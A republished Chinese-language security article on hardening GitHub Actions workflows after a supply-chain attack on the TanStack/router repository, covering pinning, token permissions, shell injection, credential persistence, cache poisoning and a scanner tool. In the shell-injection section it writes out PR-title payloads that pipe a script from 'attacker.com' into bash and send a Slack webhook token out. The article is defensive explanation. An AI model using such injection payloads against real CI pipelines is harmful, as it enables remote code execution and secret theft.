一次供应链攻击教会我们的事:锁死你的GitHubActions

admin 2026-05-29 04:03:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文基于2026年TanStack/router供应链攻击事件,分析了GitHubActions工作流的9类安全风险(包括Action未固定SHA、权限过大、shell注入等),并提供了包含权限限制、依赖更新、缓存隔离等9项可落地的加固方案。文章还分享了修复20个仓库的实践经验,推荐使用Renovate和Sentinel扫描器实现自动化安全维护。 综合评分: 85 文章分类: 供应链安全,安全工具,安全建设,WEB安全,解决方案


cover_image

一次供应链攻击教会我们的事:锁死你的 GitHub Actions

幻泉之洲

2026年5月19日 14:54 北京

在小说阅读器读本章

去阅读

2026年5月,TanStack/router仓库的CI管道被入侵,74个恶意包流入npm。事后我们对20个仓库做了审计,发现几乎没人意识到自己的CI配置有多脆弱。这篇文章记录了审计中发现的9类问题、一套可落地的加固方案,以及我们在两天内修复20个仓库时踩过的坑。

安全圈有个梗:不是黑客有多厉害,是对手实在太配合。

TanStack这事就是这样。攻击者没用什么0day,只是读了几份workflow文件,找到了三个配置疏漏,然后大摇大摆走进去了。

事发第二天,我们审计了两个GitHub组织下的20个仓库。结论很直接:每份workflow文件都有问题,少的三四个,多的七八个。不是某个团队不专业,是这整套默认配置太纵容了。

审计发现的八个问题

我们把发现的问题归了八类。先摊开看,然后再谈怎么修。

1. 用标签引用Action,没用SHA固定

绝大多数workflow里都是这么写的:uses: actions/checkout@v4。标签是可变引用,谁维护这个Action,谁就能把标签指向任意commit。一旦维护者账号被拿下,下次CI跑的就是攻击者的代码。

换SHA才是正道:uses: actions/checkout@abc123def456... # v4.1.7。SHA是内容寻址,改不了。就算维护者账号被控,历史commit也不受影响。

有人觉得actions/*是GitHub官方维护的,肯定安全。它在内容上确实比第三方强,但它仍然是可变标签。在安全这件事上,信任解决不了技术上的可篡改问题。我们审计时做了区分:第三方Action未固定是严重级别,官方Action未固定是中等——但都得修。

2. 缺权限限制

GitHub Actions如果不显式声明permissions:,GITHUB_TOKEN的默认权限写得相当大方:contents可读写、packages可读写、pull requests可读写、issues可操作。一个workflow里只要有一个步骤被攻破,攻击者拿到这把万能钥匙就什么都干了。

正确做法是两件事一起做:workflow顶层设permissions: contents: read作为基准,哪个job确实需要写权限再单独开。packages: write就只在这个job里生效,别的地方碰都碰不到。

3. Shell注入

run:块里但凡用了${{ }}语法来拼接外部输入,都是注入点。PR标题写个"; curl attacker.com/steal.sh | bash; echo ",你的CI跑起来就变成了攻击者的命令执行环境。

PR正文、分支名、commit message——只要外部能控制的值,直接拼进${{ }}就等于把密钥挂在门口。

修复方案分两层。第一层,用环境变量做中转:在step级别用env: PR_TITLE: ${{ github.event.pull_request.title }},然后在shell里用$PR_TITLE。这能挡住GitHub表达式层面的注入。

第二层更隐蔽。即使用了环境变量,如果你在双引号字符串里写${PR_TITLE},bash的命令替换语法照样生效。一个PR标题写成$(curl attacker.com/exfil?token=$SLACK_WEBHOOK)就能把Webhook地址传出去。正确做法是把值作为jq参数传入:jq -nc --arg title "$PR_TITLE" '{text: $title}'。让jq处理转义,别让shell有机会解析这个值。两层都得做,缺一层都不算修干净。

4. 凭证持久化

这是审计里最让我们意外的一项。actions/checkout默认会把GITHUB_TOKEN写进Git凭证助手,然后这个Token在整个job执行期间一直躺在.git/config里。npm installpip install、任何你跑的命令,理论上都能读到它。

最常用的Action,默认行为居然是静默暴露凭证。我们找到三个workflow,其中写权限的Token在安装第三方工具的窗口里存在了30分钟以上,期间还跑了Claude Code。任何一个被污染的工具都能直接推代码进仓库。

改法很简单:persist-credentials: false。需要push的操作也有办法,别在整个job维度配置凭证,只在push之前的那个步骤用git config url."".insteadOf ""加进去。凭证存活几秒,不是几十分钟。这个攻击面的缩小幅度相当可观。

5. 危险的触发器

pull_request_target这个触发器运行在base分支的安全上下文里,但又可以checkout fork的代码。本质上是让外部贡献者在你仓库的权限环境里跑代码。如果你的workflow用这个触发器,然后checkout了PR的head ref,等于把密钥交给陌生人。

6. 缺少静态分析

我们审计的20个仓库没有一个在做workflow文件的自动化安全扫描。Trail of Bits做了一个开源的GitHub Actions静态分析器叫Zizmor,上面提到的所有问题它都能扫出来。但它一个都没在跑。

7. Actions依赖不更新

SHA固定之后依赖就不动了,安全补丁自然也不会进来。不用Dependabot,固定SHA的Action就永远是那个旧版本。更新变成了纯手工活,没人会记得做。

8. Fork PR的缓存投毒

GitHub Actions默认把缓存命名空间在上游仓库和fork之间共享。攻击者的fork PR可以写入一个被污染过的缓存条目,后续的上游workflow跑起来就会恢复这个缓存。这正是TanStack攻击链里的一环。

修复checklist

以下是我们对所有20个仓库统一执行的加固项,每项独立生效:

  • 所有Action用SHA固定,包括官方的actions/*,后面加版本号注释方便阅读
  • 顶层permissions: contents: read,需要写的job单独开权限
  • 双层防注入:环境变量中转 + jq传参
  • 每个checkout步骤加persist-credentials: false,push场景用延迟注入
  • 构建和发布分两个job,构建只读,发布job独享凭证
  • Zizmor接入CI,扫出就修,不忽略
  • Dependabot每日更新Actions依赖,小版本合批自动合并
  • 缓存key加仓库名前缀,隔离fork
  • pnpm设minimum-release-age=1440block-exotic-subdeps=true
  • 审计所有危险触发器

踩坑实录

两天修20个仓怎么搞

前8个是紧急响应,后面12个是系统推进。策略是并行流,每个仓库一条线,都按checklist走,commit按问题类别分组,每个仓出一个PR。两天搞定。

Dependabot洪水

12个仓库接入Dependabot之后24小时内生成了113个PR。我们本以为设了grouping配置能把小版本更新合到一个PR里,但大版本升级因为一个已知bug(dependabot/dependabot-core#14202)全部被拆成了独立PR。合并它们要处理级联rebase冲突,非常痛苦。

这个经历直接推着我们走向了Renovate。Renovate的grouping在大小版本上都有效,12个仓库的更新合成20个PR,不是156个。内置automerge,不用额外workflow。一个中央配置管理所有仓库。还有自动SHA固定功能。helpers:pinGitHubActionDigests这个preset直接把标签引用转成SHA,比人工替换快得多。

如果你从零开始,直接用Renovate(github.com/renovatebot/renovate)。已经有Dependabot的,迁移也不复杂:安装Renovate App,合并自动生成的onboarding PR,验证一天,删掉dependabot.yml。

凭证窗口的细微之处

加上persist-credentials: false只是第一步。第二步是搞清楚在job运行期间凭证到底存在哪里。我们发现三个workflow里,凭证在git配置里躺了30多分钟,而这期间job在装ruff、ffmpeg、Playwright这些第三方工具。攻击面比你想象的大得多。延迟注入把窗口从”整个job”压到”push前的几秒”,这个差距是实质性的。

jq传参的假安全感

我们起初以为环境变量过一道手就安全了。但这个东西:

env: PR_TITLE: ${{ github.event.pull_request.title }} PAYLOAD=$(jq -n –arg text “New PR: ${PR_TITLE}” ‘{text: $text}’)

静态扫描全过,实际仍有漏洞。${PR_TITLE}是在双引号字符串里被bash展开的,jq还没见到这个值bash就先解析了一遍命令替换。这行代码在多个仓库的Slack通知workflow里活过了三次review,就因为环境变量那层转换乍看是正确的。

即使”显然正确”的改动也要review

我们有一次差点把ECR的image-tag-mutability改成IMMUTABLE。这在安全上是对的——但那些仓库的部署策略依赖可变的:branch-staging:latest标签。这个改动如果合进去,所有后续Docker push都会挂。review的人注意到了部署流程和配置策略之间的假设冲突,在造成线上事故之前叫停了。之后我们定了规矩:加固改动先修、再review、再合并。在基础设施仓库上尤其重要。

让自动化替你查

手工审计20个仓库之后,我们把学到的东西做成了一个确定性扫描器:Sentinel(sentinel.copilotkit.dev)。纯Ruby命令行工具,检查GitHub Actions workflow在21个安全维度上的合规情况。不依赖AI,没有任何外部依赖,规则就是手工审计时用的那一套。

用法简单:

bin/sentinel –org your-org bin/sentinel owner/repo bin/sentinel –local /path/to/checkout

输出按严重程度分级,带行号、问题代码和修复建议。有严重或高级问题就按exit code 1退出,可以用来卡CI门禁。

我们拿六个知名公开仓库做了校准测试,每一个都扫出了问题:

  • facebook/react: ${{ github.triggering_actor }}直接拼在run块里,通过恶意GitHub用户名可实现shell注入
  • vercel/next.js: 两个curl | sh安装脚本缺少完整性校验
  • microsoft/vscode: rustup的curl | sh同样没校验
  • nodejs/node: 这个最接近理想状态——所有Action都固定了SHA,每个workflow都有权限声明。唯一的问题是缺job级超时设置

这个扫描器在做一件事:区分噪音和真正的威胁。未固定的官方Action算中等,未固定的第三方Action算严重。React仓库扫出164个中等和2个严重,而不是166个全报严重。这让结果真的能用,而不是看着数字心烦然后关掉。

这事不是搞一次就结束的

但持续成本很低。Renovate或Dependabot自动更新SHA pin,Zizmor持续扫描新workflow,mend.io的自动修复可以批量处理重复问题。初始加固20个仓库花了四天集中工作。之后的维护就是审批偶尔出现的大版本更新PR。

难的是第一次下决心做。做完了之后,工具自己会跑。


参考资料

[1] https://www.copilotkit.ai/blog/tanstack-supply-chain-attack-and-how-to-lock-down-github-actions


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 《一次供应链攻击教会我们的事:锁死你的 GitHub Actions》

评论:0   参与:  0